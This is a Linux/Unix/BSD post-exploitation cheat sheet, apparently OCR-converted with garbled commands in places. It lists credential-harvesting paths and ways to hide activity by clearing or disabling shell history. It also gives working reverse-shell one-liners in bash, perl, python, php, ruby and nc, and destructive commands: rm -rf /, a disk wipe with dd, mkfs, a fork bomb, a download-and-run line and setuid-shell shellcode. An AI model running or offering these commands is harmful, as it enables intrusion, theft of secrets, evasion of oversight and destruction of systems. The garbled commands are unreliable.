Linux/Unix/BSD Post-Exploitation Command List

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Information

Blind Files

(things to pull when all you can do is blindly read) LFI/dir traversal (Don't forget %00!)

File	Contents and Reason
/etc/resolv.conf	Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than /etc/passwd
/etc/motd	Message of the Day.
/etc/issue	Debian - current version of distro
/etc/passwd	List of local users
/etc/shadow	List of users' passwords' hashes (requires root)
/home/xxx/.bash_history	Will give you some directory context

System

Command	Description and/or Reason	
uname -a	Prints the kernel version, arch, sometimes distro,	
ps aux	List all running processes	
top -n 1 -d	Print process, 1 is a number of lines	
id	Your current username, groups	
arch, uname -m	Kernel processor architecture	
W	who is connected, uptime and load avg	

	time a mindred the management
who -a	uptime, runlevel, tty, proceses etc.
gcc -v	Returns the version of GCC.
mysqlversion	Returns the version of MySQL.
perl -v	Returns the version of Perl.
ruby -v	Returns the version of Ruby.
pythonversion	Returns the version of Python.
df -k	mounted fs, size, % use, dev and mount point[
mount	mounted fs
last -a	Last users logged on
lastcomm	
lastlog	
lastlogin (BSD)	
getenforce	Get the status of SELinux (Enforcing, Permissive or Disabled)
dmesg	Informations from the last system boot
Ispci	prints all PCI buses and devices
Isusb	prints all USB buses and devices/h
Iscpu	prints CPU information
Ishw	
ex	
cat /proc/cpuinfo	
cat /proc/meminfo	
du -hmax-depth=1 /	(note: can cause heavy disk i/o)
which nmap	locate a command (ie nmap or nc)
locate bin/nmap	

locate bin/nc	
jps -l	
java -version	Returns the version of Java.

Networking

- hostname -f
- ip addr show
- ip ro show
- ifconfig -a
- route -n
- cat /etc/network/interfaces
- iptables -L -n -v
- iptables -t nat -L -n -v
- ip6tables -L -n -v
- iptables-save
- netstat -anop
- netstat -r
- netstat -nltupw (root with raw sockets)
- arp -a
- Isof -nPi

to resume it → "cat /proc/net/*" (more discreet)

what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net, and that this approach is less likely to trigger monitoring or other stuff.

User accounts

- local accounts: cat /etc/passwd
 - password hashes in /etc/shadow on Linux
 - password hashes in /etc/security/passwd on AIX
 - o groups in /etc/group (and/or /etc/gshadow on Linux)
- all accounts: getent passwd
 - o should dump local, LDAP, NIS, whatever the system is using
 - same with getent group
- Samba's own database: pdbedit -L -w or pdbedit -L -v

- privileged accounts: cat
 - o (above: cat ???)
- mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases
- NIS accounts: ypcat passwd displays NIS password file

Credentials

- SSH keys, often passwordless: /home/*/.ssh/id*
- SSH agent:

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- Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab
- PGP keys: /home/*/.gnupg/secring.gpgs

Configs

- Is -aRI /etc/ | awk '\$1 ~ /w.\$/' | grep -v lrwx 2>/dev/nullte
- cat /etc/issue{,.net}
- cat /etc/master.passwd
- cat /etc/group
- cat /etc/hosts
- cat /etc/crontab
- cat /etc/sysctl.conf
- for user in \$(cut -f1 -d: /etc/passwd); do echo \$user; crontab -u \$user -l; done # (Lists all crons)
- cat /etc/resolv.conf
- cat /etc/syslog.conf
- cat /etc/chttp.conf
- cat /etc/lighttpd.conf
- cat /etc/cups/cupsd.confcda
- cat /etc/inetd.conf
- cat /opt/lampp/etc/httpd.conf
- cat /etc/samba/smb.conf
- cat /etc/openIdap/ldap.conf
- cat /etc/ldap/ldap.conf
- cat /etc/exports
- cat /etc/auto.master
- cat /etc/auto_master
- cat /etc/fstab
- find /etc/sysconfig/ -type f -exec cat {} \;

Determine Distro

Isb_release -d # Generic command for all LSB distros
 /etc/os-release # Generic for distros using "systemd"

/etc/issue # Generic but often modified

cat /etc/*release

/etc/SUSE-release # Novell SUSE
 /etc/redhat-release, /etc/redhat_version # Red Hat
 /etc/fedora-release # Fedora
 /etc/slackware-release, /etc/slackware-version # Slackware
 /etc/debian_release, /etc/debian_version # Debian

/etc/mandrake-release # Mandrake/etc/sun-release # Sun JDS

/etc/release # Solaris/Sparc

/etc/gentoo-release # Gentoo

/etc/arch-release # Arch Linux (file will be empty)

arch # OpenBSD; sample: "OpenBSD.amd64"

uname -a # often hints at it pretty well

Installed Packages

• rpm -qa --last | head

• yum list | grep installed

Debian: dpkg -l

dpkg -l | grep -i "linux-image"

dpkg --get-selections

{Free,Net}BSD: pkg_infoSolaris: pkginfo

Gentoo: # equery must be installed

cd /var/db/pkg/ && Is -d */* # always works

Arch Linux: pacman -Q

Package Sources

- cat /etc/apt/sources.list
- Is -I /etc/yum.repos.d/
- cat /etc/yum.conf

Finding Important Files

- ls -dlR */ #
- ls -alR | grep ^d
- find /var -type d
- ls -dl `find /var -type d`

- ls -dl `find /var -type d` | grep -v root
- find /var ! -user root -type d -ls
- find /var/log -type f -exec ls -la {} \;
- find / -perm -4000 (find all suid files)
- Is -alhtr /mnt
- Is -alhtr /media
- Is -alhtr /tmp
- Is -alhtr /home
- cd /home/; treels /home/*/.ssh/*
- find /home -type f -iname '.*history'
- Is -lart /etc/rc.d/
- locate tar | grep [.]tar\$ # Remember to updatedb before running locate
- locate tgz | grep [.]tgz\$
- locate sql | grep [.]sql\$
- locate settings | grep [.]php\$
- locate config.inc | grep [.]php\$
- Is /home/*/id*
- properties | grep [.]properties # java config files
- locate .xml | grep [.]xml # java/.net config files
- find /sbin /usr/sbin /opt /lib `echo \$PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids
- locate rhosts

Covering Your Tracks

Avoiding history filesmys

- export HISTFILE= or
- unset HISTFILE

This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:

However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.

clear all history in ram

- history -c
- rm -rf ~/.bash_history && In -s ~/.bash_history /dev/null (invasive)
- touch ~/.bash_history (invasive)
- <space> history -c (using a space before a command)
- zsh% unset HISTFILE HISTSIZE
- tcsh% set history=0
- bash\$ set +o history

- ksh\$ unset HISTFILE
- find / -type f -exec {} (forensics nightmare)

Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.

In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 \$\$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.

Obtain users' information

- Is -alh /home/*/
- Is -alh /home/*/.ssh/
- cat /home/*/.ssh/authorized keys
- cat /home/*/.ssh/known hosts
- cat /home/*/.*hist* # you can learn a lot from this
- find /home/*/.vnc /home/*/.subversion -type f
- grep ^ssh /home/*/.*hist*
- grep ^telnet `/home/*/.*hist*
- grep ^mysql /home/*/.*hist*
- cat /home/*/.viminfo
- sudo -l # if sudoers is not. readable, this sometimes works per user
- crontab -l
- cat /home/*/.mysql_history

Escalating

Looking for possible opened paths

- Is -alh /root/
- sudo -l
- cat /etc/sudoers
- cat /etc/shadow
- cat /etc/master.passwd # OpenBSD
- cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
- Isof -nPi
- Is /home/*/.ssh/*

Maintaining control

Reverse Shell

Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

- bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.).
- perl -e 'use Socket; \$i="10.0.0.1"; \$p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
- python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
- php -r '\$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- xterm -display 10.0.0.1:1se
 - o Listener- Xnest :1
 - Add permission to connect- xhost +victimIP
- ssh -NR 3333:localhost:22 user@yourhost
- nc -e /bin/sh 10.0.0.1 1234

Fun if Windows is present and accessible

If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write.

TODO: insert details on what to look for

Stuff to be sorted

GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN

Command	Output

ps aux	List of running processes
id	List current user and group along with user/group id
w	Show info about who is logged, what are they are doing
who -a	Print information about users
cat /dev/core > /dev/audio cat /dev/mem > /dev/audio	Makes a sound from the memory content. Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver)
sudo -p	allows the user to define what the password prompt will be (useful for fun customization with aliases or shell scripts)

Deleting and Destroying

(If it is necessary to leave the machine inaccessible or unusable)

Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.

Oh, and you're probably a jerk if you use any of the stuff below.

Command	Description
rm -rf /	This will recursively try to delete all files.
char esp[]attribute ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68' "\xff\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";	
mkfs.ext3 /dev/sda	Reformat the device mentioned, making recovery of files hard.
dd if=/dev/zero of=/dev/sda bs=1M	Overwrite disk /dev/sda with zeros

Execute a remote script

wget http://server/file.sh -O- sh	This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit
	using of reverse still

Fork Bomb

:(){: :&};:	The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.
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Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf

World writable directories	Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile, .bash_profile, .bashrc	find / \(wholename '/home/homedir/*' prune \) o \ (type d perm 0002 \) exec Is Id '{}' ';' 2>/dev/null
World writable files	What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be true, it really makes sense to search for world writable files outside your own territory (= your home directory).	'/home/homedir/*' prune o wholename '/proc/*' prune \)-
Logfiles	Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as passwords or other important information.	find /var/log type f perm 0004 2>/dev/null-
Setuid / setgid files	We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness.	